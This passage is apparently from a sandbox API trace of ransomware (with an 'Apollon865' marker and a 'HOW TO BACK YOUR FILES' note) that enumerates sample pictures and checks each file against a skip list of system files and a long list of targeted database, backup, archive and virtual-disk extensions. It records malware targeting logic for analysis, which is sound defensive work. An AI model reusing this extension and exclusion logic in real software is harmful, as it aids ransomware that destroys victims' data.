	[0035.916] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0035.916] lstrlenW (lpString="nv2") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0035.916] lstrlenW (lpString="nwdb") returned 4
	[0035.916] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0035.916] lstrlenW (lpString="nyf") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0035.916] lstrlenW (lpString="odb") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.916] lstrlenW (lpString="odb") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.916] lstrlenW (lpString="oqy") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0035.916] lstrlenW (lpString="ora") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0035.916] lstrlenW (lpString="orx") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0035.916] lstrlenW (lpString="owc") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0035.916] lstrlenW (lpString="p96") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0035.916] lstrlenW (lpString="p97") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0035.916] lstrlenW (lpString="pan") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0035.916] lstrlenW (lpString="pdb") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0035.916] lstrlenW (lpString="pdm") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0035.916] lstrlenW (lpString="pnz") returned 3
	[0035.916] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0035.917] lstrlenW (lpString="qry") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0035.917] lstrlenW (lpString="qvd") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0035.917] lstrlenW (lpString="rbf") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0035.917] lstrlenW (lpString="rctd") returned 4
	[0035.917] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0035.917] lstrlenW (lpString="rod") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0035.917] lstrlenW (lpString="rodx") returned 4
	[0035.917] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0035.917] lstrlenW (lpString="rpd") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0035.917] lstrlenW (lpString="rsd") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0035.917] lstrlenW (lpString="sas7bdat") returned 8
	[0035.917] lstrcmpiW (lpString1="fish.jpg", lpString2="sas7bdat") returned -1
	[0035.917] lstrlenW (lpString="sbf") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0035.917] lstrlenW (lpString="scx") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0035.917] lstrlenW (lpString="sdb") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0035.917] lstrlenW (lpString="sdc") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0035.917] lstrlenW (lpString="sdf") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0035.917] lstrlenW (lpString="sis") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0035.917] lstrlenW (lpString="spq") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0035.917] lstrlenW (lpString="te") returned 2
	[0035.917] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0035.917] lstrlenW (lpString="teacher") returned 7
	[0035.917] lstrcmpiW (lpString1="ish.jpg", lpString2="teacher") returned -1
	[0035.917] lstrlenW (lpString="tmd") returned 3
	[0035.917] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0035.918] lstrlenW (lpString="tps") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0035.918] lstrlenW (lpString="trc") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.918] lstrlenW (lpString="trc") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.918] lstrlenW (lpString="trm") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0035.918] lstrlenW (lpString="udb") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0035.918] lstrlenW (lpString="udl") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0035.918] lstrlenW (lpString="usr") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0035.918] lstrlenW (lpString="v12") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0035.918] lstrlenW (lpString="vis") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0035.918] lstrlenW (lpString="vpd") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0035.918] lstrlenW (lpString="vvv") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0035.918] lstrlenW (lpString="wdb") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0035.918] lstrlenW (lpString="wmdb") returned 4
	[0035.918] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0035.918] lstrlenW (lpString="wrk") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0035.918] lstrlenW (lpString="xdb") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0035.918] lstrlenW (lpString="xld") returned 3
	[0035.918] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0035.918] lstrlenW (lpString="xmlff") returned 5
	[0035.918] lstrcmpiW (lpString1="h.jpg", lpString2="xmlff") returned -1
	[0035.918] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1
	[0035.918] lstrcmpiW (lpString1="Koala.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.918] lstrcmpiW (lpString1="Koala.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0035.918] lstrcmpiW (lpString1="Koala.jpg", lpString2=".") returned 1
	[0035.918] lstrcmpiW (lpString1="Koala.jpg", lpString2="..") returned 1
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2="windows") returned -1
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2="bootmgr") returned 1
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2="temp") returned -1
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2="pagefile.sys") returned -1
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2="boot") returned 1
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2="ids.txt") returned 1
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2="ntuser.dat") returned -1
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2="perflogs") returned -1
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2="MSBuild") returned -1
	[0035.919] lstrlenW (lpString="Koala.jpg") returned 9
	[0035.919] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg") returned 54
	[0035.919] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Koala.jpg" | out: lpString1="Koala.jpg") returned="Koala.jpg"
	[0035.919] lstrlenW (lpString="Koala.jpg") returned 9
	[0035.919] lstrlenW (lpString="Apollon865") returned 10
	[0035.919] lstrlenW (lpString=".dll") returned 4
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2=".dll") returned 1
	[0035.919] lstrlenW (lpString=".lnk") returned 4
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2=".lnk") returned 1
	[0035.919] lstrlenW (lpString=".ini") returned 4
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2=".ini") returned 1
	[0035.919] lstrlenW (lpString=".sys") returned 4
	[0035.919] lstrcmpiW (lpString1="Koala.jpg", lpString2=".sys") returned 1
	[0035.919] lstrlenW (lpString="Koala.jpg") returned 9
	[0035.919] lstrlenW (lpString="bak") returned 3
	[0035.919] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0035.919] lstrlenW (lpString="ba_") returned 3
	[0035.919] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0035.919] lstrlenW (lpString="dbb") returned 3
	[0035.919] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0035.919] lstrlenW (lpString="vmdk") returned 4
	[0035.919] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0035.919] lstrlenW (lpString="rar") returned 3
	[0035.919] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0035.919] lstrlenW (lpString="zip") returned 3
	[0035.919] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0035.919] lstrlenW (lpString="tgz") returned 3
	[0035.919] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0035.920] lstrlenW (lpString="vbox") returned 4
	[0035.920] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0035.920] lstrlenW (lpString="vdi") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0035.920] lstrlenW (lpString="vhd") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0035.920] lstrlenW (lpString="vhdx") returned 4
	[0035.920] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0035.920] lstrlenW (lpString="avhd") returned 4
	[0035.920] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0035.920] lstrlenW (lpString="db") returned 2
	[0035.920] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0035.920] lstrlenW (lpString="db2") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0035.920] lstrlenW (lpString="db3") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0035.920] lstrlenW (lpString="dbf") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0035.920] lstrlenW (lpString="mdf") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0035.920] lstrlenW (lpString="mdb") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0035.920] lstrlenW (lpString="sql") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0035.920] lstrlenW (lpString="sqlite") returned 6
	[0035.920] lstrcmpiW (lpString1="la.jpg", lpString2="sqlite") returned -1
	[0035.920] lstrlenW (lpString="sqlite3") returned 7
	[0035.920] lstrcmpiW (lpString1="ala.jpg", lpString2="sqlite3") returned -1
	[0035.920] lstrlenW (lpString="sqlitedb") returned 8
	[0035.920] lstrcmpiW (lpString1="oala.jpg", lpString2="sqlitedb") returned -1
	[0035.920] lstrlenW (lpString="xml") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0035.920] lstrlenW (lpString="$er") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0035.920] lstrlenW (lpString="4dd") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0035.920] lstrlenW (lpString="4dl") returned 3
	[0035.920] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0035.920] lstrlenW (lpString="^^^") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0035.921] lstrlenW (lpString="abs") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0035.921] lstrlenW (lpString="abx") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0035.921] lstrlenW (lpString="accdb") returned 5
	[0035.921] lstrcmpiW (lpString1="a.jpg", lpString2="accdb") returned -1
	[0035.921] lstrlenW (lpString="accdc") returned 5
	[0035.921] lstrcmpiW (lpString1="a.jpg", lpString2="accdc") returned -1
	[0035.921] lstrlenW (lpString="accde") returned 5
	[0035.921] lstrcmpiW (lpString1="a.jpg", lpString2="accde") returned -1
	[0035.921] lstrlenW (lpString="accdr") returned 5
	[0035.921] lstrcmpiW (lpString1="a.jpg", lpString2="accdr") returned -1
	[0035.921] lstrlenW (lpString="accdt") returned 5
	[0035.921] lstrcmpiW (lpString1="a.jpg", lpString2="accdt") returned -1
	[0035.921] lstrlenW (lpString="accdw") returned 5
	[0035.921] lstrcmpiW (lpString1="a.jpg", lpString2="accdw") returned -1
	[0035.921] lstrlenW (lpString="accft") returned 5
	[0035.921] lstrcmpiW (lpString1="a.jpg", lpString2="accft") returned -1
	[0035.921] lstrlenW (lpString="adb") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.921] lstrlenW (lpString="adb") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.921] lstrlenW (lpString="ade") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0035.921] lstrlenW (lpString="adf") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0035.921] lstrlenW (lpString="adn") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0035.921] lstrlenW (lpString="adp") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0035.921] lstrlenW (lpString="alf") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0035.921] lstrlenW (lpString="ask") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0035.921] lstrlenW (lpString="btr") returned 3
	[0035.921] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0035.922] lstrlenW (lpString="cat") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0035.922] lstrlenW (lpString="cdb") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0035.922] lstrlenW (lpString="ckp") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0035.922] lstrlenW (lpString="cma") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0035.922] lstrlenW (lpString="cpd") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0035.922] lstrlenW (lpString="dacpac") returned 6
	[0035.922] lstrcmpiW (lpString1="la.jpg", lpString2="dacpac") returned 1
	[0035.922] lstrlenW (lpString="dad") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0035.922] lstrlenW (lpString="dadiagrams") returned 10
	[0035.922] lstrlenW (lpString="daschema") returned 8
	[0035.922] lstrcmpiW (lpString1="oala.jpg", lpString2="daschema") returned 1
	[0035.922] lstrlenW (lpString="db-journal") returned 10
	[0035.922] lstrlenW (lpString="db-shm") returned 6
	[0035.922] lstrcmpiW (lpString1="la.jpg", lpString2="db-shm") returned 1
	[0035.922] lstrlenW (lpString="db-wal") returned 6
	[0035.922] lstrcmpiW (lpString1="la.jpg", lpString2="db-wal") returned 1
	[0035.922] lstrlenW (lpString="dbc") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0035.922] lstrlenW (lpString="dbs") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0035.922] lstrlenW (lpString="dbt") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0035.922] lstrlenW (lpString="dbv") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0035.922] lstrlenW (lpString="dbx") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0035.922] lstrlenW (lpString="dcb") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0035.922] lstrlenW (lpString="dct") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0035.922] lstrlenW (lpString="dcx") returned 3
	[0035.922] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0035.922] lstrlenW (lpString="ddl") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0035.923] lstrlenW (lpString="dlis") returned 4
	[0035.923] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0035.923] lstrlenW (lpString="dp1") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0035.923] lstrlenW (lpString="dqy") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0035.923] lstrlenW (lpString="dsk") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0035.923] lstrlenW (lpString="dsn") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0035.923] lstrlenW (lpString="dtsx") returned 4
	[0035.923] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0035.923] lstrlenW (lpString="dxl") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0035.923] lstrlenW (lpString="eco") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0035.923] lstrlenW (lpString="ecx") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0035.923] lstrlenW (lpString="edb") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0035.923] lstrlenW (lpString="epim") returned 4
	[0035.923] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0035.923] lstrlenW (lpString="fcd") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0035.923] lstrlenW (lpString="fdb") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0035.923] lstrlenW (lpString="fic") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0035.923] lstrlenW (lpString="flexolibrary") returned 12
	[0035.923] lstrlenW (lpString="fm5") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0035.923] lstrlenW (lpString="fmp") returned 3
	[0035.923] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0035.923] lstrlenW (lpString="fmp12") returned 5
	[0035.923] lstrcmpiW (lpString1="a.jpg", lpString2="fmp12") returned -1
	[0035.923] lstrlenW (lpString="fmpsl") returned 5
	[0035.923] lstrcmpiW (lpString1="a.jpg", lpString2="fmpsl") returned -1
	[0035.923] lstrlenW (lpString="fol") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0035.924] lstrlenW (lpString="fp3") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0035.924] lstrlenW (lpString="fp4") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0035.924] lstrlenW (lpString="fp5") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0035.924] lstrlenW (lpString="fp7") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0035.924] lstrlenW (lpString="fpt") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0035.924] lstrlenW (lpString="frm") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0035.924] lstrlenW (lpString="gdb") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.924] lstrlenW (lpString="gdb") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.924] lstrlenW (lpString="grdb") returned 4
	[0035.924] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0035.924] lstrlenW (lpString="gwi") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0035.924] lstrlenW (lpString="hdb") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0035.924] lstrlenW (lpString="his") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0035.924] lstrlenW (lpString="ib") returned 2
	[0035.924] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0035.924] lstrlenW (lpString="idb") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0035.924] lstrlenW (lpString="ihx") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0035.924] lstrlenW (lpString="itdb") returned 4
	[0035.924] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0035.924] lstrlenW (lpString="itw") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0035.924] lstrlenW (lpString="jet") returned 3
	[0035.924] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0035.924] lstrlenW (lpString="jtx") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0035.925] lstrlenW (lpString="kdb") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0035.925] lstrlenW (lpString="kexi") returned 4
	[0035.925] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0035.925] lstrlenW (lpString="kexic") returned 5
	[0035.925] lstrcmpiW (lpString1="a.jpg", lpString2="kexic") returned -1
	[0035.925] lstrlenW (lpString="kexis") returned 5
	[0035.925] lstrcmpiW (lpString1="a.jpg", lpString2="kexis") returned -1
	[0035.925] lstrlenW (lpString="lgc") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0035.925] lstrlenW (lpString="lwx") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0035.925] lstrlenW (lpString="maf") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0035.925] lstrlenW (lpString="maq") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0035.925] lstrlenW (lpString="mar") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0035.925] lstrlenW (lpString="marshal") returned 7
	[0035.925] lstrcmpiW (lpString1="ala.jpg", lpString2="marshal") returned -1
	[0035.925] lstrlenW (lpString="mas") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0035.925] lstrlenW (lpString="mav") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0035.925] lstrlenW (lpString="maw") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0035.925] lstrlenW (lpString="mdbhtml") returned 7
	[0035.925] lstrcmpiW (lpString1="ala.jpg", lpString2="mdbhtml") returned -1
	[0035.925] lstrlenW (lpString="mdn") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0035.925] lstrlenW (lpString="mdt") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0035.925] lstrlenW (lpString="mfd") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0035.925] lstrlenW (lpString="mpd") returned 3
	[0035.925] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0035.925] lstrlenW (lpString="mrg") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0035.926] lstrlenW (lpString="mud") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0035.926] lstrlenW (lpString="mwb") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0035.926] lstrlenW (lpString="myd") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0035.926] lstrlenW (lpString="ndf") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0035.926] lstrlenW (lpString="nnt") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0035.926] lstrlenW (lpString="nrmlib") returned 6
	[0035.926] lstrcmpiW (lpString1="la.jpg", lpString2="nrmlib") returned -1
	[0035.926] lstrlenW (lpString="ns2") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0035.926] lstrlenW (lpString="ns3") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0035.926] lstrlenW (lpString="ns4") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0035.926] lstrlenW (lpString="nsf") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0035.926] lstrlenW (lpString="nv") returned 2
	[0035.926] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0035.926] lstrlenW (lpString="nv2") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0035.926] lstrlenW (lpString="nwdb") returned 4
	[0035.926] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0035.926] lstrlenW (lpString="nyf") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0035.926] lstrlenW (lpString="odb") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.926] lstrlenW (lpString="odb") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.926] lstrlenW (lpString="oqy") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0035.926] lstrlenW (lpString="ora") returned 3
	[0035.926] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0035.926] lstrlenW (lpString="orx") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0035.927] lstrlenW (lpString="owc") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0035.927] lstrlenW (lpString="p96") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0035.927] lstrlenW (lpString="p97") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0035.927] lstrlenW (lpString="pan") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0035.927] lstrlenW (lpString="pdb") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0035.927] lstrlenW (lpString="pdm") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0035.927] lstrlenW (lpString="pnz") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0035.927] lstrlenW (lpString="qry") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0035.927] lstrlenW (lpString="qvd") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0035.927] lstrlenW (lpString="rbf") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0035.927] lstrlenW (lpString="rctd") returned 4
	[0035.927] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0035.927] lstrlenW (lpString="rod") returned 3
	[0035.927] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0035.927] lstrlenW (lpString="rodx") returned 4
	[0035.927] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
